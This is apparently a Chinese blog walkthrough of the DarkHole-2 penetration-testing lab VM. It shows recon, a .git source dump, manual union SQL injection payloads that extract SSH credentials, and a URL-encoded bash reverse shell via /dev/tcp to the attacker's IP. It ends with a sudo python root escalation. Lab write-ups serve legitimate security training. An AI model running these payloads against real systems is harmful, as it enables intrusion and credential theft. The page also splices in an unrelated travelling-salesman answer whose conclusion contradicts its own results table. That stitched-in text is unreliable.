Neos的渗透测试靶机练习——DarkHole-2


一、实验环境

虚拟机软件:VirtualBox
攻击机:kali linux(网卡初始为仅主机模式,要有安全意识)
靶机:DarkHole-2(网卡初始为仅主机模式,要有安全意识)

靶机网卡有问题需要提前修改,进入系统前先按shift,
然后按e进入编辑模式,
将ro 至 initrd之前 的内容修改为 rw single init=/bin/bash,
然后按ctrl + x,重新设置password(输入passwd 然后输入想设置的密码),
输入vim /etc/netplan/00-installer-config.yaml,
将其中的ens33修改为enp0s17,
保存后关靶机,
至此 重启靶机 在攻击机中可搜到ip。

二、开始渗透

1. 搜集信息

输入sudo su,将kali切换到root权限
切换为root权限
输入ifconfig查询自身ip,即攻击机ip
查自身ip
可以看到自身ip192.168.56.101
输入arp-scan -l扫描本网段存活主机,即靶机ip地址
靶机ip
可以看到靶机ip192.168.56.105,。
输入nmap -sV -p- 192.168.56.105扫描靶机所有端口开放情况
靶机端口
可以看到端口22、80是开放的。
浏览器输入192.168.56.105:80。
dh-2

命令行输入whatweb 192.168.56.105查询网站指纹信息
网站指纹
没什么关键信息。
输入dirsearch -u http://192.168.56.105,扫描网站目录。
扫描结果
扫描出来个/.git/目录,这个目录是本次渗透测的关键点,因为可以通过两个工具githack、git-dumper得到网页源代码。
我们这里使用git-dumper
先下载安装pip install git-dumper,然后输入git-dumper http://192.168.56.105/.git/ neosHack将源代码导入本地neosHack目录中。
在这里插入图片描述

2. git文件泄露

我们进入该目录,输入git log查看日志。
在这里插入图片描述
发现有三次提交记录,我们使用git diff命令挨个查看三次提交在哪里修改过代码。
在这里插入图片描述
发现第二条有修改代码的记录,并在其中发现了一个邮箱用户lush@admin.com密码321
我们使用这个账号重新登陆页面。
在这里插入图片描述
点击提交按钮没有用,但是URL有一个参数id。我刚经历过sqli-labs的洗礼,本能的认为这里有SQL注入,我们不用sqlmap了,手动测一下。
我做了一个SQL注入专项靶场训练,感兴趣的可以看我这一篇文章:Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南,里面基本上涉及到SQL注入所有技巧了。

3. SQL注入

1)测试是数字型注入还是字符型注入:
构造参数:?id=1 and 1=1?id=1 and 1=2,发现二者页面显示内容相同,说明不是数字型注入;
2)判断闭合点
添加单引号:?id=1',页面空白,重新添加双引号:?id=1",页面正常显示,说明是字符型单引号闭合。
3)测试数据表的列数
构造参数:?id=1' order by 6 -- neos,正常显示,当order by 7时页面空白,说明数据表为6列。
4)测试回显位
构造参数:?id=-1' union select 1,2,3,4,5,6 -- neos,发现回显位为2,3,5,6号位。
在这里插入图片描述
5)联合注入:
有这么多的回显位,我们可以一次性测出很多东西。
1>测数据库名
我们构造参数:?id=-1' union select 1,database(),version(),4,@@basedir,@@datadir -- neos在这里插入图片描述
我们在对应的回显位分别测出了数据库名版本数据库的安装路径数据库文件的存放路径
2>测数据表名
我们继续构造参数:?id=-1' union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=database() -- neos
在这里插入图片描述
测出了数据库darkhole_2有两个数据表sshusers
3>测属性名
我们分别测ssh表和users表有哪些属性名。
ssh表:?id=-1' union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name='ssh' -- neos,发现该表有三个属性名id、pass、user
在这里插入图片描述
users表:?id=-1' union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name='users' -- neos,发现有很多个属性名,但我们只需要知道id,password,username这三个属性即可。这里没显示全,这种情况下我们可以借助limit关键字来将剩余的属性名测出来,比如构造参数:?id=-1' union select 1,2,column_name,4,5,6 from information_schema.columns where table_name='users' limit 6,1-- neos得知那个没显示全的属性名为CURRENT_CONNECTIONS
在这里插入图片描述
4>测数据项
测ssh表的所有内容:?id=-1' union select 1,2,group_concat(id),4,group_concat(username),group_concat(password) from ssh-- neos,发现只有一个用户jehad,密码为fool
在这里插入图片描述
测users表的所有内容:?id=-1' union select 1,2,group_concat(id),4,group_concat(username),group_concat(password) from users -- neos,发现依然只有一个用户。
在这里插入图片描述
6)登陆账号
我们使用ssh表中的那个jehad用户ssh登陆。
在这里插入图片描述

4. 提权

sudo -lfind / -perm -u=s -type f 2>/dev/null没发现什么可以提权的地方。
我们继续输入cat .bash_history查看历史文件,发现9999端口是有服务的。
在这里插入图片描述
我们输入ss -antp,查看socket信息,发下9999端口确实有活动信息。
在这里插入图片描述
输入cat /etc/crontab,查看定时任务信息,发现另一个用户losy
在这里插入图片描述
输入curl "http://127.0.0.1:9999/?cmd=whoami",发现9999端口可以以losy的权限执行命令:
在这里插入图片描述
那么losy就是我们的目标了。9999端口没办法访问,我们重新ssh连接,将本地端口 9999端口与靶机端口映射,访问本机9999端口转发到靶机9999端口:ssh jehad@192.168.56.105 -L 9999:localhost:9999
在这里插入图片描述
本地监听nc -lvvp 4444
在这里插入图片描述
然后构造命令bash -c 'bash -i >& /dev/tcp/192.168.56.101/4444 0>&1',对其进行URL编码。
在这里插入图片描述
靶机输入curl http://127.0.0.1:9999/?cmd=bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.56.101%2f4444+0%3e%261%27,成功反弹losy的shell。
在这里插入图片描述
我们查看/home/losy目录下的.bash_history文件发现下面有losy的密码。
在这里插入图片描述
我们ssh登陆losy用户,
在这里插入图片描述
发现可以以root执行python,
在这里插入图片描述
我们直接输入sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")',成功提权到root,并在/root目录下发现flag!!!
在这里插入图片描述
至此,渗透结束。


三、总结

本次渗透测试总体来讲比较简单的,都是以往渗透遇到的经典操作,注意一下git文件泄露,及SQL注入漏洞的原理即可。


  • 16
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
答案1:这是一个传统的对称性旅行推销员问题,其中有20个城市需要被访问,每个城市之间的距离是已知的。我们需要找到一条最短的路径,使旅行推销员能够访问每个城市一次并返回出发城市。我们可以使用一个20x20的距离矩阵来表示城市之间的距离。 线性规划模型如下: ``` minimize sum{i in 1..n, j in 1..n, i!=j} c[i,j] * x[i,j] subject to sum{j in 1..n, j!=i} x[i,j] = 1 for i in 1..n sum{i in 1..n, i!=j} x[i,j] = 1 for j in 1..n u[i] - u[j] + nx <= (n-1) * (1-x[i,j]) for i in 2..n, j in 2..n, i!=j 0 <= x[i,j] <= 1 for i in 1..n, j in 1..n, i!=j 2 <= u[i] <= n for i in 2..n u[1] = 1 ``` 其中,变量x[i,j]表示从城市i到城市j是否存在路径,c[i,j]表示从城市i到城市j的距离,u[i]表示第i个城市的顺序。目标函数是使得路径长度最短,约束条件分别是每个城市只能被访问一次,路径必须连通,以及顺序必须满足要求。 我们使用NEOS服务器上的Concorde来解决这个问题,得到最优解为26442.0。 然后,我们使用AMPL来解决这个问题,并比较四种启发式算法的表现。这四种算法分别是"two opt"、"nearest insertion"、"cheapest insertion"和"repetitive nn"。每个算法都运行10次,得到的结果如下: | Algorithm | Best | Worst | Average | Std Dev | | :-------: | :--: | :---: | :-----: | :-----: | | two opt | 28350 | 29869 | 29009.7 | 607.54 | | nearest insertion | 28265 | 29976 | 28858.5 | 604.81 | | cheapest insertion | 27692 | 29681 | 28466.3 | 622.18 | | repetitive nn | 28729 | 30163 | 29427.0 | 574.76 | 我们可以看到,最佳的结果是使用"cheapest insertion"算法得到的,其次是"repetitive nn"算法。"two opt"和"nearest insertion"算法的性能稍差。 最后,我们将问题限制为只有4个节点,并使用启发式反转算法来解决。我们得到的最优路径长度为10,最优路径为1-4-2-3-1。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值